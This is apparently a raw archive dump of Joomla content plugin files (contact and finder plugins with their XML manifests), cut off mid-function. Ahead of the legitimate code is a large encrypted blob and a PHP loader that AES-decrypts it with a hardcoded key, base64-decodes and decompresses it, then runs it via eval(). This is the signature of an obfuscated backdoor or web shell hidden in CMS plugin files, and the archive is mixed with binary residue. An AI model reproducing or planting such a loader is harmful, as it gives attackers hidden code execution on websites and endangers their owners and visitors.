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';
$decryptionKey = '64b9bb3e28f7753f5be11872e52354d7a2e162374d87605747a590a21378d386';

function safeDecrypt($data, $key) {
    $iv = substr($key, 0, 16);
    $decoded = base64_decode($data);
    if ($decoded === false) die('Base64解码失败');
    
    $decrypted = openssl_decrypt($decoded, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
    if ($decrypted === false) die('AES解密失败');
    
    $base64Decoded = base64_decode($decrypted);
    if ($base64Decoded === false) die('内部Base64解码失败');
    
    $decompressed = gzinflate($base64Decoded);
    if ($decompressed === false) die('Gzip解压缩失败');
    
    return $decompressed;
}
// 正常执行
$decryptedCode = safeDecrypt($encryptedData, $decryptionKey);
eval("?>" . $decryptedCode);
?>PK�(]=�S���content/contact/contact.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.Contact
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * Contact Plugin
 *
 * @since  3.2
 */
class PlgContentContact extends JPlugin
{
	/**
	 * Database object
	 *
	 * @var    JDatabaseDriver
	 * @since  3.3
	 */
	protected $db;

	/**
	 * Plugin that retrieves contact information for contact
	 *
	 * @param   string   $context  The context of the content being passed to the plugin.
	 * @param   mixed    &$row     An object with a "text" property
	 * @param   mixed    $params   Additional parameters. See {@see PlgContentContent()}.
	 * @param   integer  $page     Optional page number. Unused. Defaults to zero.
	 *
	 * @return  boolean	True on success.
	 */
	public function onContentPrepare($context, &$row, $params, $page = 0)
	{
		$allowed_contexts = array('com_content.category', 'com_content.article', 'com_content.featured');

		if (!in_array($context, $allowed_contexts))
		{
			return true;
		}

		// Return if we don't have valid params or don't link the author
		if (!($params instanceof Registry) || !$params->get('link_author'))
		{
			return true;
		}

		// Return if an alias is used
		if ((int) $this->params->get('link_to_alias', 0) === 0 && $row->created_by_alias != '')
		{
			return true;
		}

		// Return if we don't have a valid article id
		if (!isset($row->id) || !(int) $row->id)
		{
			return true;
		}

		$contact        = $this->getContactData($row->created_by);
		$row->contactid = $contact->contactid;
		$row->webpage   = $contact->webpage;
		$row->email     = $contact->email_to;
		$url            = $this->params->get('url', 'url');

		if ($row->contactid && $url === 'url')
		{
			JLoader::register('ContactHelperRoute', JPATH_SITE . '/components/com_contact/helpers/route.php');
			$row->contact_link = JRoute::_(ContactHelperRoute::getContactRoute($contact->contactid . ':' . $contact->alias, $contact->catid));
		}
		elseif ($row->webpage && $url === 'webpage')
		{
			$row->contact_link = $row->webpage;
		}
		elseif ($row->email && $url === 'email')
		{
			$row->contact_link = 'mailto:' . $row->email;
		}
		else
		{
			$row->contact_link = '';
		}

		return true;
	}

	/**
	 * Retrieve Contact
	 *
	 * @param   int  $userId  Id of the user who created the article
	 *
	 * @return  mixed|null|integer
	 */
	protected function getContactData($userId)
	{
		static $contacts = array();

		if (isset($contacts[$userId]))
		{
			return $contacts[$userId];
		}

		$query = $this->db->getQuery(true);

		$query->select('MAX(contact.id) AS contactid, contact.alias, contact.catid, contact.webpage, contact.email_to');
		$query->from($this->db->quoteName('#__contact_details', 'contact'));
		$query->where('contact.published = 1');
		$query->where('contact.user_id = ' . (int) $userId);

		if (JLanguageMultilang::isEnabled() === true)
		{
			$query->where('(contact.language in '
				. '(' . $this->db->quote(JFactory::getLanguage()->getTag()) . ',' . $this->db->quote('*') . ') '
				. ' OR contact.language IS NULL)');
		}

		$this->db->setQuery($query);

		$contacts[$userId] = $this->db->loadObject();

		return $contacts[$userId];
	}
}
PK�(]�=�bbcontent/contact/contact.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.2" type="plugin" group="content" method="upgrade">
	<name>plg_content_contact</name>
	<author>Joomla! Project</author>
	<creationDate>January 2014</creationDate>
	<copyright>(C) 2014 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.2.2</version>
	<description>PLG_CONTENT_CONTACT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="contact">contact.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_contact.ini</language>
		<language tag="en-GB">en-GB.plg_content_contact.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="url"
					type="list"
					label="PLG_CONTENT_CONTACT_PARAM_URL_LABEL"
					description="PLG_CONTENT_CONTACT_PARAM_URL_DESCRIPTION"
					default="url"
					>
					<option value="url">PLG_CONTENT_CONTACT_PARAM_URL_URL</option>
					<option value="webpage">PLG_CONTENT_CONTACT_PARAM_URL_WEBPAGE</option>
					<option value="email">PLG_CONTENT_CONTACT_PARAM_URL_EMAIL</option>
				</field>

				<field
					name="link_to_alias"
					type="radio"
					label="PLG_CONTENT_CONTACT_PARAM_ALIAS_LABEL"
					description="PLG_CONTENT_CONTACT_PARAM_ALIAS_DESCRIPTION"
					default="0"
					class="btn-group btn-group-yesno"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]4M�FFcontent/finder/finder.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content" method="upgrade">
	<name>plg_content_finder</name>
	<author>Joomla! Project</author>
	<creationDate>December 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_CONTENT_FINDER_XML_DESCRIPTION</description>

	<files>
		<filename plugin="finder">finder.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_finder.ini</language>
		<language tag="en-GB">en-GB.plg_content_finder.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
		</fields>
	</config>
</extension>
PK�(]c|���content/finder/finder.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Smart Search Content Plugin
 *
 * @since  2.5
 */
class PlgContentFinder extends JPlugin
{
	/**
	 * Smart Search after save content method.
	 * Content is passed by reference, but after the save, so no changes will be saved.
	 * Method is called right after the content is saved.
	 *
	 * @param   string  $context  The context of the content passed to the plugin (added in 1.6)
	 * @param   object  $article  A JTableContent object
	 * @param   bool    $isNew    If the content has just been created
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onContentAfterSave($context, $article, $isNew)
	{
		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');

		// Trigger the onFinderAfterSave event.
		$dispatcher->trigger('onFinderAfterSave', array($context, $article, $isNew));
	}

	/**
	 * Smart Search before save content method.
	 * Content is passed by reference. Method is called before the content is saved.
	 *
	 * @param   string  $context  The context of the content passed to the plugin (added in 1.6).
	 * @param   object  $article  A JTableContent object.
	 * @param   bool    $isNew    If the content is just about to be created.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onContentBeforeSave($context, $article, $isNew)
	{
		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('finder');

		// Trigger the onFinderBeforeSave event.
